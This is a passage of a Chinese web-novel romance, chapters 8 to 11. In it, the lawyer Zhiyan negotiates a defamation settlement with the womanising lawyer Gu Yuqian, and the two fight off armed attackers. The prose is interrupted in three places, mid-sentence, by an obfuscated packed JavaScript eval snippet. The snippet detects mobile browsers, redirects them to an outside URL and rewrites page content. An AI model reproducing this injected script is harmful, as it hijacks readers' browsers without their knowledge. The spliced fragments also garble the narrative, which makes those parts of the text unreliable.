母的思想比较传统,稚言能理解。她母亲也一样,但是对着自己的母亲,她可以畅所欲言,并且还能发脾气抗议,但对方不是她的母亲,她一时之间不知道怎么接话。 钟明贤说:“爸妈,别讨论这件事了,吃菜吧。” 稚言保持着笑容,继续吃饭,钟明贤起了另外一个话题,又聊开了。 这一顿饭对稚言来说,吃得并不舒服。 而她不知道的是,在她身后隔了一扇屏风的隔间,一个长相姣好的男人听了她那句话后,唇角勾起。 对面的男人看他笑了,“顾律师,什么事这么好笑?” 顾禹谦示意桌上的菜,“这家餐厅的菜味道不错。” “你喜欢就好。” —— 吃了饭,钟明贤先把父母送回住处。 以前他的父母住在城中村的出租房里,去年年初,钟明贤在一个小区里租了两房两厅,把父母接过来一起住。 稚言毕业后,钟明贤曾提议过让她也过来一起住,但是稚言拒绝了,虽说她并不是什么保守派,但她很抗拒未婚就跟男方父母一起住。 对于结婚,她其实也不着急,她和钟明贤虽然谈了四年,但是有三年异地,两人一年到头都见不到几次,她并不认为已经到结婚的地步。 钟明贤的车在小区门口停下,稚言下了车朝着小区门口走,忽然放包里的手机响了,她拿出来一看,是个陌生号码打来的。 稚言按下接听键,对方的声音很熟悉,他们今天才见过面。 “是稚律师吗?” “是我。” “我是陈欣妍,关于今天我跟你说的案子,我其实还有些事没跟你说明白,所以我想找个时间再跟你聊聊,你明天有空吧?” “有空的。” “那明天你方便过来我家吗?是这样的,因为我所说的东西涉及隐私,在咖啡厅或者你们公司,我都觉得不大好。” 稚言道:“可以的,你把地址发给我。” “你微信是这个号吧,我加你。” “好。” 稚言挂了电话,陈欣妍很快发来了好友邀请,稚言通过了她的好友,很快她就发来了定位。 稚言鬼使神差地点开了她的朋友圈,她朋友圈的动态都非常伤感,其中最新那条是昨晚发的。 “是不是我死了心就不会痛了?” “永远不要爱上一个渣男,他只会把你伤得体无完肤。” “又是一个失眠夜,我活着真的没有意义。” “是我自己犯贱,爱错了人。” 看了几条,稚言就退出了她的朋友圈,感觉她发的每条朋友圈都带有一些绝望。从她的字里行间可以看得出来,她其实很爱顾禹谦。 只可惜,顾禹谦根本没把她这份爱放在心上。 要说顾禹谦是渣男的话,他确实是。 但你要说他是个坏人,他又好像算不上,因为他会提前告诉每一个靠近他的人,他是个渣男,如果你不能接受,那就不要靠近,甚至就算你觉得靠近了后悔了,还能及时脱离。 而陈欣妍便是那个靠近了却陷进去,怎么也脱离不出来的人。 8. chapter08 陈欣妍住在一个高档的公寓楼里,这里的房子租金五位数起,如果要买,至少要千万以上。 即便顾禹谦给了她一百万的分手补偿,她要住得起这样的房子,那说明她本身就有一点家底。 昨天见到她的时候,就觉得她应该是有钱人家的女儿,毕竟她那样的气质,并不像普通家庭培养出来的。 这或许也是吸引顾禹谦的一个地方。 他喜欢白富美。 稚言进了陈欣妍的家,她的家里摆放了不少人体模特,是平时设计服装使用的,家里的家具和摆件都有着很浓郁的艺术气息。 陈欣妍的状态并不好,她也没化妆,不过她皮肤本来就好,是天生的美女,并不需要靠化妆来维系自己的颜值。 陈欣妍给她从冰箱里拿了一瓶水,而后两人坐在沙发上,准备进入正式谈话。 稚言下意识地打开录音笔放在茶几上,陈欣妍看着她的录音笔,“稚律师,我不是说我跟你说的都很私密吗?你录音是什么意思?” 稚言解释道:“陈小姐,我们律师在办案的时候,都会习惯性地录音记录,以便于后续工作的进行。你放心,这是私密的,我绝对不会泄露给第三人。” 陈欣妍没再说话,默认了让她录音。 稚言问:“陈小姐昨天在电话里说,还有些真相没说清楚,不知道是哪方面的?” 陈欣妍拿出了一份文件,递给她,“你看看。” 稚言接过看了看,这是一份诊断证明,患者一栏写着陈欣妍,确诊的是抑郁症。 看完了这份诊断证明,稚言心里对陈欣妍多少有些同情,“是因为他吗?” “嗯。”陈欣妍道:“我真的从没想到自己会因为一个男人患上抑郁症,他毁了我,现在还把我推上了法庭,很明显,他就是想把我逼死。” 陈欣妍这句话多少有些偏激,但稚言考虑到她的精神状态,她尽量说的委婉,“陈小姐,关于这件事,我昨天就跟你解释过,你之前的一些行为,确实侵犯了他的名誉权和隐私权,这一点现在是无法否认的。” “那他害我患上了抑郁症,难道他就不该被惩罚吗?” 稚言再看了一眼那一份诊断报告,似乎有点明白她的用意,“那你是想告他故意伤害吗?” “没错,既然他告我,我也可以告他,我有诊断书,这绝对可以让他名誉扫地。” 稚言说:“但是陈小姐,你还有其他证据吗?如果光凭这一份诊断书,其实很难判定他有罪,毕竟抑郁症的成因非常多,很难鉴定到底跟谁有关。” “就是跟他有关,我百分百确定。”陈欣妍道:“我跟他交往的时候,他对我施暴。” 稚言很惊讶,“他打你了?” “那倒没有,他对我实施的是冷暴力,不回复消息,不理人,甚至对我有言语和行为上的羞辱。” 稚言回忆起那份恋爱协议,上面有一条是不要在他工作时打搅他,很明显顾禹谦就是在恋爱中奉行的事少见面,少交流的宗旨。所以他不回复消息,不理人也算是协议范围内。 至于言语和行为上的羞辱,倒是可以作为突破口。 “他怎么羞辱你?” 陈欣妍道:“有一次,我想亲他一下,他把我推开了,这难道不是在讽刺我脏,羞辱我吗?” 稚言:“……” 稚言隐约记得,协议里也写明了他允许发生肢体上的亲密关系,但不与人亲吻,显然陈欣妍又犯了人家大忌。 “这个的话……要是作为证据,还是有一些牵强。” “为什么牵强?”陈欣妍看着稚言,“稚律师,你也有男朋友吧,如果你的男朋友这么对你,你难道不会难过,不会抑郁吗?” 稚言试图组织语言,“陈小姐,其实我很理解你的心情,只是我也是说实话,你刚说的实在无法成为证据,证明那些话和行为是导致你抑郁的原因。” 陈欣妍眼眶红了,莫名地,她忽然就开启诉苦模式,“可他是真的很过分,我联系他他不理我,每次都说在办案子,但我知道他就是只把我当炮友,玩完了就扔一边。我就是贱,我本来是想试探他对我到底有没有感情,会不会舍不得我,我就这么随口一提分手,他倒当真了,立马给了我一百万,不联系我了。这个世界上怎么会有这种渣男!” 稚言很是头疼,虽然她同样作为女人,很同情她的遭遇,但是站在法律的角度上,她并没有占优势。 这就好比有钱人家签婚前协议,如果在婚前协议里写明离婚后女方得不到一分钱财产,女方签了后,在离婚的时候却哭诉自己分不到财产,其实并不能得到法律的庇护。 顾禹谦是律师,他非常清楚他进入一段感情将会面临什么,所以事先都在协议里面说清楚了。 那些幻想和他有一段刻骨铭心爱恋的女孩,无疑都会受伤。 稚言听陈欣妍哭诉完,她说:“陈小姐,我们把话题转移到正题上。还是关于名誉侵权和隐私侵权的问题的,留给你处理的时间不多,昨天我的提议,不知道你考虑没有。” “是不是我要是上法庭,完全没有胜算?” “可以这么说。”稚言再看一眼茶几上的诊断书,“而且考虑到你的病情,我认为上庭只会给你造成更大的打击。” “对方的起诉状我也看过,删帖道歉,外加两万元的精神损失费,这都是合理诉求。” 陈欣妍心里也很清楚,但她就是不死心,她没办法接受自己本来就伤痕累累地,最终还要被渣男反咬一口。 她昨天想了很久,想着怎样可以让渣男尝一尝被人告的滋味,但她唯一能想到的方法,却一口被稚言否决了。 昨天见了稚言后,她其实还去了另外一家律所,对方支持她上庭,但她一问胜率,对方就模棱两可地回答,但她已经从对方的神情看出来,自己这场官司,是真的没胜算。 上了法庭也只会被顾禹谦吊打。 但庭外和解,她又觉得拉不下面子。 “稚律师,如果真的要庭外和解,我可能没办法亲自去见他,你知道的,我有抑郁症,看到他只会加重我的病情,所以我想恳请你代我去跟他谈,放心,律师费我会付的。” 稚言有所犹豫,“但是,在谈判过程中,我可能无法替你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392747|168615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做决定,所以最好还是你亲自在场。” “不,我真的没办法再见他,他把我伤得太深了。”陈欣妍道:“律师费你开个价,不,我知道你们这行还要给公司,到手可能不多,我可以按正常价格付律师费,另外我会再给你一笔钱作为小费。” “不是费用问题。” 陈欣妍握着她的手,“稚律师,我是真的没办法跟他见面,所以请你帮帮我。” 稚言看了一眼陈欣妍,其实她是不想惹麻烦,庭外和解当事人不在,最容易出问题,很有可能最后还被当事人反咬一口。 “陈小姐,不是我不愿意帮,而是……” “我求你了,行吗?”陈欣妍含着泪看着她,仿佛她不答应,她下一秒就要跪下来。 稚言轻叹一息,“我问你一个问题,可以吗?” “你问。” “你为什么会选择我?以你的经济条件,完全可以找更资深的律师。” 陈欣妍如实说:“其实,我这种情况,让我当着男律师的面,我是说不出的,女律师我又有点担心她们会乱说,后来我在网上看到了一段你的庭审视频,我觉得你跟顾禹谦有点像,所以我觉得你可以跟他匹敌。” 稚言笑了一下,“我跟他像?” “嗯,他跟你一样,在法庭上的时候很镇定,甚至说话都不激动,但是却字字见血。” “谢谢夸奖。” “那代我庭外和解的事情?” 如果对方不是周维的朋友,她还真的就不想冒这个险,稚言说:“由我出面代你庭外和解也行,这个过程我会全程录音,遇到需要你来决定的问题,我会以电话方式询问你的意见,并且,我也会在通话时录音,并且,我也需要你签一份授权合同,这你可以接受吗?” “可以的。” “那好,晚点我会整理好委托合同,你签了后我就能代理你去庭外和解。” “好的,没问题。” 稚言以为,自己跟顾禹谦只会是萍水相逢,没想到却因陈欣妍一事,再次有交集。 和陈欣怡签好了委托代理合同以及授权合同之后,稚言便着手去联系顾禹谦。 她找到了他的名片,给他打了个电话过去,对方过了挺久才接,“顾律师,你好。” “稚小姐?” 稚言笑了笑,“没想到顾律师还记得我。” “你的声音很特别。”顾禹谦问:“稚小姐联系我,是上次我跟你提的事情考虑好了吗?” “不是的,我这次给你电话,其实是以陈欣妍小姐的代理律师的身份。” “哦?”顾禹谦的语调微微上扬,似乎觉得惊讶,又似乎觉得有趣。 “是这样的,我已经看了你的起诉状,对于你在起诉状里提及的诉求,我有些问题想和你这边再沟通一下,你看你什么时候方便?” “我今天下午五点左右应该有空。” “那我下午五点在你们公司附近的咖啡厅和你见面,可以吗?” “稚小姐不介意的话,可以直接来我们公司。” 稚言道:“也可以,那到时候五点见。” 9. chapter09 其实这件案子不算复杂,陈欣妍答应尝试庭外和解,删帖子并公开道歉,赔偿两万元损失。 剩下的就是看顾禹谦到底愿不愿意接受。 下午四点半,稚言从公司出发,前去臻铭律师事务所,两家事务所有地铁直达,相隔三个站,她抵达臻铭律师事务所的时候,是四点五十五分,时间算得刚刚好。 “稚言,你怎么来了?” 稚言循声看过去,叫她的正是谢芫。 谢芫在这看到稚言,非常惊讶,“你来找我吗?” 稚言道:“我来办点事。” 谢芫眨了眨眼睛,“办什么事?” “内容保密,总之是来工作的。” 前台小姐道:“稚小姐,我们顾律师让你去他的办公室,请跟我来。” 谢芫听到了前台小姐的话,立马明白了,她捂住嘴看着稚言,小声凑到她耳边问:“你来找我老板?” 稚言点头。 “是决定跳槽了吗?” 稚言道:“不是,是别的事,我先去办事了。” “行,晚上回家我再问你。” 前台小姐带着稚言去顾禹谦的办公室,臻铭律师事务所比他们的光合律师事务所大很多,占了大厦两层楼。 前台小姐敲了顾禹谦办公室的门,里面的人应了一声进来,稚言进了去,礼貌问好,“顾律师你好。” 顾禹谦朝她示意他办公室里的沙发,“稚小姐请坐。” 随后他对着还没出去的前台道:“Andy,给稚小姐泡一杯咖啡。” “好的。” 稚言走到沙发上坐下,顾禹谦示意手上的文件,“刚好有份文件需要我在下班前确定,稚小姐不介意的话,在这等我一下?” “没问题的,顾律师先忙。” 顾禹谦起身,从身后的书架上抽出了几本书,他拿着书走到稚言面前,“这里有几本书,我觉得挺有趣,稚小姐可以拿来解闷。” 稚言把随身包放在一边,双手接过,“谢谢。” 顾禹谦回到了自己的座位,继续看文件,而稚言百无聊赖,只好翻阅起顾禹谦给她的书,其中一本叫《杀死一只知更鸟》 稚言翻着书,一开始还偶尔抬头,想看看顾禹谦是否已经处理完了手头上的事,后面看得入神,便完全忘了时间。 再次反应过来时,已经六点了。 正常来说,这个时间点都下班了,虽说律师加班那是家常便饭,但稚言不确定对方是否会愿意和她在下班之后还谈论案子。 她合上书,对还在埋头看文件的顾禹谦说:“顾律师,时间比较晚了,你看我是明天再跟你约时间,还是?” 顾禹谦抬眸看了她一眼,顺便看了看手表,“实在抱歉,忘了时间了,我应该还有十分钟就好,明天我要去开庭,可能没空,稚小姐不介意的话,待会跟我一块去吃晚饭,我们可以一边吃晚饭一边谈论陈欣妍的案子。” 稚言点头,“也好。” 顾禹谦指了指她手上的书,“这本书还喜欢吗?” “嗯,故事很吸引人。” “你可以继续看,甚至可以带回家。” “不了,谢谢。” 稚言又看了十分钟的书,到六点十分,顾禹谦果然忙完了。 他起身披上西装外套,“稚小姐有喜欢的菜系吗?” 稚言忙道:“这一次是我主动要求见顾先生,按理说应该我来请,顾律师可以去自己喜欢的餐厅。” 顾禹谦轻笑了笑,“那实在抱歉,我没有让女士请客的习惯,所以这一顿,注定是我来请。” 在对待女朋友之外的人,顾禹谦倒是很绅士,但对女朋友,他显然就不会有这样的耐心。 稚言也没拒绝,毕竟顾禹谦想去的餐厅,可能需要花掉她半个月的薪水,“那就由顾律师决定吧,我不挑食。” “那好,就由我来决定。” 稚言跟着顾禹谦来到地下停车场,还是那一辆宾利,上一次她拒绝搭便车,没想到隔了十来天,她还是坐上了这辆车。 车里有淡淡的男士香水味,味道很淡,似有如无,让人觉得很舒服。 顾禹谦一边开车一边开启话题,“刚刚那本书,你有读后感吗?” 稚言回想起书里的故事,“看了五分之一不到,感想并不多,虽然我们坚信法律可以维护公平正义,但这个社会光怪陆离,人心复杂,并不是每个人都能得到公平的对待。” 顾禹谦说:“那恭喜你,刚毕业就能领悟这个道理。” 稚言笑了笑。 顾禹谦带稚言来到了一家米其林餐厅,对于他的选择,她一点也不惊讶。他作为律师行业金字塔顶端的人,无论是米其林还是宾利,都配得上他的身份。 只是她忽然又想到了钟明贤,为什么钟明贤买了一辆四十八万的凯迪拉克,去了一家中高档的餐厅,她就觉得那么不自在呢? 难道是她的偏见吗? 坐下来后,稚言拿出了录音笔,“顾律师,你介意我录音吗?” “不介意。” 稚言打开了录音笔,放在一边,“那接下来我想跟你聊一聊由你这边起诉的名誉和隐私侵权案。” “好,没问题。” “经过我跟当事人了解情况之后,我的当事人对侵犯您的名誉和隐私权这件事,并没有异议。她这边也意识到自己的错误,并希望可以庭外和解。” 顾禹谦靠坐在椅子上,看着稚言,没有回答她刚刚的话,而是另外问了个问题,“你知道我最怕什么吗?” “什么?” “我最怕的就是给一段已经结束了的感情,做没完没了的售后,这非常浪费我的时间,影响我的生活品质。” 稚言心想,这还真是渣男语录,不过对方一直对她很客气,很有礼貌,她并没有觉得不适,她道:“我的当事人提出庭外和解,但你的起诉状里的诉求,她会全部照做。” “重点不在这。” “嗯?” 顾禹谦看着稚言,笑了笑,“她应该没告诉过你,过去几个月,她对我进行了多次骚扰。” “这……”稚言下意识看了一眼录音笔。 “没关系,我说的话可以录音。”顾禹谦的语气还十分平静,像是在说一件跟自己无关的事,“在过去几个月,她找过我多次,希望复合,并声称她因为我而得了抑郁症,企图以自杀来相逼。” 稚言其实也猜到了陈欣妍对顾禹谦有过纠缠,所以顾禹谦才会拉黑她,但现在这种情况,她不该把话题偏开,应该围绕着庭外和解的事情展开,“那关于庭外和解,顾律师的意思是?” “这场官司开庭或者和解,对我而言都没有影响。我可以庭外和解,不过我需要陈小姐签署一份保证书,保证不会再以任何理由,任何方式骚扰我。” 稚言点头,“这件事,我会向我的当事人提出的。” “那稚小姐还有没有别的问题?” 稚言摇了摇头,“没有了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392748|168615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“那我想你的录音笔可以关了,因为接下来,我们就不再谈论案子的事了。” “嗯。”稚言关了录音笔,并收进了包里。 他们点的食物陆续上来,都是很精致,很小份的食物,几乎摆满了一张桌子。 稚言还是第一次来米其林餐厅,没想到竟然是和顾禹谦。 稚言拿起汤匙,先喝了面前用小碗装的羊肚菌汤。 顾禹谦说:“希望这些食物合你的胃口。” “这些食物都不错,只是让顾律师破费了。” 顾禹谦道:“能有人陪我吃晚餐,也算是我的荣幸。” 稚言心道,这人还真是会说话,绅士风度拉满,如果不知道他的那些渣男行为,很容易就被误导了。 吃了饭,稚言和顾禹谦乘坐电梯离开餐厅。 “你住哪,我送你回去。”顾禹谦提议。 “不用,我打车回去就好。” 顾禹谦已经习惯了她的拒绝,“这么客气?” “主要是怕我男朋友误会。” 顾禹谦单手插着裤袋,“你为了表示对男友的忠诚而拒绝一个男士送你回家,可你有没有想过,你的男朋友并不会为了你而拒绝送一位女士回家。” 稚言脸上神色一顿,她想起了掉落在钟明贤车上的那一颗珍珠饰品,那颗珍珠圆润度和光泽一看就是上品,一般只有高端品牌的服装才会用真的珍珠做装饰,而大部分女律师,其实并不能买得起那么贵的衣服。 钟明贤说那是他同事落下的,很明显就是说了谎。 虽说她不该因为一颗珍珠疑神疑鬼,但她从小受身为刑警的父亲影响,习惯对一些事情进行推理,她不可能当做什么都不知道。 但仅凭一颗珍珠,也不能证明钟明贤对她不忠,所以她至今没冲钟明贤发火。 “外面在下雨。” 稚言回过神,只见顾禹谦把他的手机屏幕给她看,上面显示的是南城今天的天气,现在正在下小雨。 稚言无可奈何,她没带伞,“那看来是天意,只能麻烦顾律师了。” “如果你的男朋友因此而误会,可以让他打电话给我,我随时可以为你澄清。” 稚言笑了笑,“谢谢。” 来到地下停车场,稚言跟着顾禹谦前往停车的区域,忽然附近一辆面包车上,下来三个握着铁棒的男人,几个男人戴着口罩和鸭舌帽,看不清模样。 顾禹谦停下了脚步,看着拦住去路的几个男人,从容地问:“各位该不会是找我的?” 为首的男人用铁棒在手掌上掂了掂,“有人看你不顺眼,想教训你一下。” “既然是冲着我来的,我身边这位女士,你们总得让她先离开。” “啧,让她走,她要是去叫人怎么办?” 稚言可真没想到竟然有人在地下停车场蒙脸行凶,“这里到处都是监控,你以为你们能跑得掉吗?” “这就不是你该担心的了?!” 顾禹谦抬起右手松了松领带,顺便解开领口的两颗扣子,稍微后退了一步来到稚言身边,低声道:“待会我拖住他们,你往回跑,走楼梯去一楼大堂,报警。” “他们三个人,你确定你能拖得住?” “那也没办法,总不能连累你?” “但已经连累了。”稚言活动了一下筋骨,“说起来,我挺长时间没拿真人练手了。” 顾禹谦唇角勾起,明白她的意思,“注意安全,别离我太远。” “好。” 10. chapter10 话音刚落,三个握着铁棒的男人就迎了上来。 稚言庆幸自己今天穿的是裤子而不是裙子,她连续闪身躲开了匪徒挥舞而来的铁棒,而后趁着对方不注意,快速闪身来到男人身侧,抬脚一踢,将人踢了出去。 而这些动作,都是一气呵成,速度非常快。 被踢了一脚的匪徒气不过,再次朝着稚言挥着铁棒,稚言闪身躲开,再抬臂朝着匪徒的手腕一记手刀砍下去,匪徒吃疼,铁棒落了地,发出连续几声铿锵。 稚言一鼓作气,再次将人踢了出去。 而顾禹谦那边也不赖,他应付两个人,其中一个人的铁棒已经被他夺了过来,哐当一声,那铁棒就落在了一个匪徒的头上。 男人发出杀猪一般的嘶吼,鲜红的血顺着口罩流了下来。 这样下去,那名匪徒估计会死。 稚言善意提醒道:“顾律师,正当防卫的限度以及《人体损伤程度鉴定标准》你应该清楚吧?” “当然,这一点,我的经验应该比你多。”说话间,顾禹谦握着铁棒打开了另外一个匪徒的铁棒,并一个旋身踢,把人踢到了一根柱子上。 匪徒疼得面目扭曲,见形势不对,他乌龟一般抱着头求饶,“求你,饶我一命!我错了!” 稚言刚刚目睹了顾禹谦的一系列打斗动作,心想,穿着西装打架的男人可真有魅力,并且还是顶着一张没有瑕疵的脸的男人。 这人到底是怎么做到看上去像是手无缚鸡之力富家公子,打起架来却这么狠的? 顾禹谦系好刚崩开的袖扣,一边系一边来到稚言面前,“有受伤吗?” “没有。” 顾禹谦瞥了一眼稚言身后躺在地上喊疼的匪徒,“没想到稚小姐身手这么好。” “顾律师也不赖。” 过了十分钟,警局的人赶了过来,把三名匪徒都带走了。 而顾禹谦和稚言作为受害人,也一块去了一趟警局录口供。 南城警局是稚言熟悉的地方,她的父亲曾经就是南城市刑侦队副支队长,小的时候因为父亲的工作,他们一家三口就在南城买了房子定居,母亲要是有事不能照顾她,父亲就会把她带来警局,让她自己玩。 这里面一些老刑警,都还认识她。 稚言录完口供后出了办公室,一个人火急火燎地赶来,在她面前停下,上下打量着她,“稚言,你没受伤吧?” 来人正是稚言的旧识,和她一起长大的邻家哥哥岳东海,比他大三岁,目前是南城刑侦队二队的副队长。 他们两有十二年的时间都在做邻居,父亲都是刑警,他们曾一起上武术班,一起玩,岳东海就像是她亲哥哥一样。 稚言道:“我没事。” 岳东海也是刚听同事说起这件案子,所以立即赶了过来,“对了,你怎么跟顾禹谦在一起?” “有个案子跟他沟通。” “你以后离他远点,他这人专门打黑心官司,惹的人不少,跟他在一起比美国总统还危险。” “放心,我有分寸。” 稚言理解岳东海对顾禹谦的偏见,毕竟刑警最讨厌的就是打刑事案件的律师,在他们眼里,这些律师老奸巨猾,总是为犯人开脱。 每次他们辛辛苦苦找到的证据,被刑辩律师那三寸不烂之舌反驳回来,他们又不得不马不停滴地寻找新的更有利的证据。 “另外,这么大的事你怎么都不通知我,要不是老于告诉我,我还不知道你来了警局。” 稚言道:“我只是来录个口供,所以没告诉你。” “口供录完了?” 稚言点头,“嗯。” “那我送你回去。” 此时,身后传来一个声音,“不必劳烦岳警官,我和稚小姐还有些事要谈,还是我来送她回去。” 岳东海回头,看到顾禹谦时,眼神都凶了几分,“我看你有什么话还是在警局就说清楚,最起码安全点。” 顾禹谦道:“虽然刚刚是经历了一场危险,但还不至于像岳警官说的,比美国总统还危险。” 稚言看他们斗嘴,无奈笑了笑,“东海哥,我确实跟顾律师还有些话要谈,你忙你的,我们先走了。” 岳东海刚想说什么,最终还是没说,他瞪了顾禹谦一眼,鼻子呼出一口气,看向稚言时,眼神立马温柔了,“以后有什么事,记得告诉我。” “我知道。” 出了警局,稚言和顾禹谦并肩往停车的地方走。 顾禹谦略带歉意道:“抱歉,让你有了一场不愉快的经历。” “没关系,至少今天也是第一次有人请我来米其林餐厅吃饭。” 顾禹谦轻笑了笑,“下次还敢跟我一起吃饭吗?” “那要看是什么因为什么事了。”稚言道:“毕竟,无功不受禄。” 上了车后,想到什么,稚言想到什么,“对了,关于陈欣妍的案子,你还有话想说?” “嗯。”顾禹谦启动车子,他说:“你现在可以拿出录音笔。” 稚言从包里拿出了录音笔,然后打开。 顾禹谦一边开车一边说:“陈小姐请了一位非常棒律师,看在稚律师的份上,关于庭外和解,我答应了,只要陈小姐删除帖子即可,道不道歉,给不给精神损失费都无所谓。另外,希望陈小姐可以早日走出这段的阴影,忘了我,重新面对自己崭新的生活。” 稚言很意外他会说这段话,“谢谢。” 顾禹谦看了她一眼,“谢我什么?” “替我的当事人感谢。” 顾禹谦笑了笑。 接下来已经没必要录音了,稚言关了录音笔。 “其实你,并不需要恋爱吧。”鬼使神差地,稚言问出了这句话。 “怎么说?” “你的恋爱协议处处透露着,恋爱只是你生活中的调剂品,你并不是非常需要。” “我只是不希望恋爱浪费我太多时间,如胶似漆和你侬我侬的爱情,不适合我。”顾禹谦道:“稚小姐呢,你的爱情观是怎样的?” 虽说顾禹谦是个渣男,但稚言很赞同他这句话,“我也不喜欢如胶似漆,你侬我侬的爱情,我觉得就算恋爱了,也应该给彼此空间。不过,我跟顾律师有个地方不一样,我希望爱情是长久的。” “可爱情注定是不长久的。两个人产生爱慕,是彼此荷尔蒙互相吸引,但是这种吸引力只能延续一年半载,最多不超过三年。”顾禹谦说:“太过于追求长久的爱情,很容易受伤。人都是喜新厌旧的,特别是男人,对伴侣的忠诚度生来就比女性低,更容易背叛。就算一个男人愿意跟一个女人结婚,但也不能证明他愿意长久,或许他只是想找个能长久照顾他的女人,又或者是他想要孕育后代,但这并不能成为他背叛感情的禁锢。” 稚言也听过类似的话,也曾经想过这个问题,她知道爱情根本不会长久,但她始终相信,两个人能长久。 这世上白头偕老的伴侣还是有不少的。 车子在小区门口停下,稚言抬手开车门。 “稚律师。” 车门微微开了一条缝,听到顾禹谦叫她,稚言又把车门合上了,“还有事吗?” “能否问一个冒昧的问题?” 稚言看着他,“你问。” “如果你的恋人背叛你,你还会相信爱情会长久吗?” 这个问题确实很冒昧,稚言想了想,“大概还会相信吧。” 顾禹谦笑了一下,“嗯。” 稚言抬手开了车门,“谢谢顾律师送我回来,晚安。” —— 稚言回到家时,谢芫还没回家,她看了看时间,都快十点了。 稚言给她发了个消息:今天加班吗? 谢芫:嗯,加到八点半就撤了,现在再跟同事吃宵夜,你要吃点什么?我给你带。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392749|168615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 今天的米其林餐点都非常精致,看着摆满了一桌,但稚言现在已经饿了,“炒牛河。” “好。” 稚言洗了个澡出来,谢芫也刚好回来,“快来吃,还是热的。” 稚言走到餐桌旁坐下,打开饭盒,浓郁的香味飘了出来,她表示还是这种朴实无华的美食适合她。 谢芫在她对面坐下,开始八卦,“对了,你今天去我们公司找我老板,什么事?” “讨论案子,另,案子内容保密。” 作为律师,谢芫的保密意识还是有的,“行吧,我不问。” “不过你知道吗?我老板又又又有新欢了。” 稚言微微一顿,想起今天晚上顾禹谦说的那些话,她并不惊讶,“那有什么奇怪的?” “我只是感慨,最近他因为那个帖子,被推上了风口浪尖,没想到他还能有心思寻新欢。” 稚言吃了一口牛河,“那说明他心态好。” 谢芫托着下巴叹气,“虽说我知道他不会看上我,但是得知他有了新欢,我的心就有点痛。而且,我听说他这次的新欢挺一般的。” 稚言循着她的话问:“怎么个一般法?” “就是跟他上一个比起来,比较很普通吧,具体长什么样我也不知道,我是听同事说的,她只是在马路边看到她坐在我老板的车上。” 稚言想起她今天也坐了顾禹谦的车,“话说,你老板车上坐了个女的,也不一定就是他的新欢吧?” “不不不,能坐我老板的车的人,一定不是普通人。” 稚言笑了笑,“那你觉得我有什么特质?” “哈?”谢芫一头雾水,“怎么这么问?” “今天刚好搭了你老板的车,所以,你觉得我是普通人还是特殊的人?” 谢芫瞪大了眼睛,张大了嘴,“我靠!” “放心,只是一起吃了个饭谈了谈案子,他特别有绅士风度送我回来而已。”虽说中间还穿插了一点小插曲。 “我靠!”谢芫总算明白过来,“所以我同事说的新欢就是你?!!你还跟我老板去吃饭了!!” 稚言端起旁边的水喝了一口,“我都说了,谈工作。” “不不不,稚言,相信我,这绝对不正常!”谢芫非常激动,“我老板他几乎很少跟女客户吃饭!” 稚言一脸疑惑,“有那么夸张?” “当然,因为我老板实在长得太帅,又有能力,你懂的,很多女客户都会慕名而来,然后以工作为由找他吃饭,其实就是觊觎他,但他这个人呢,又不缺钱,根本看不上那点代理费,所以客户提出吃饭他都会建议在公司里谈论,总之,就是经常拒绝客户,在客户面前非常高冷。” 稚言认真想了想,顾禹谦平时会拒绝那些明显觊觎他的女客户,但是他并没有拒绝自己,“大概他清楚,我并不是冲着他这个人去的,而且我也有男朋友,他觉得在我面前他很安全。” 谢芫摇头,“不不不,他对你还是真的挺特别,你上次说他想挖你进我们公司,估计他是真的很喜欢你。” 稚言被呛了一下,听到‘喜欢’这两个字她非常无奈,“快打住,我可是有男朋友的,再说下去,我跳进黄河洗不清了。” “那有什么,钟明贤还不是老是跟那个富婆约饭?” 提到富婆,稚言脸上的神色一顿,她试探性地问:“霍秀雅?” “对。”谢芫鼓了股腮帮子,原本她是不想说的,怕自己的煽风点火影响稚言和钟明贤的感情,但刚刚突然就说了出口,“就是他给我们两带早餐那天嘛,我后来也出门了,看到他和霍秀雅进了一家餐厅。我一开始还以为自己看错,毕竟他早上是跟你一块出去的,但后来发现我确实没看错。” 稚言记得那天,是周六,她和钟明贤去4S店看车,中途他说客户找他,所以他先离开了。 原来那个客户就是霍秀雅。 11. chapter11 谢芫看稚言沉默着不说话,她忙安慰道:“其实我也不确定钟明贤是不是跟霍秀雅有啥,可能只是误会,就像今天你和我老板吃饭,我同事不也误会了嘛。” “其实……”稚言欲言又止。 谢芫好奇她想说什么,追问道:“其实什么?” “其实我最近觉得我跟明贤的距离越来越远,隔阂越来越深,有时候和他在一起,我会觉得陌生。” 谢芫抱着小腿歪坐在椅子上,“其实你们两相处模式就有问题。” “什么问题?” 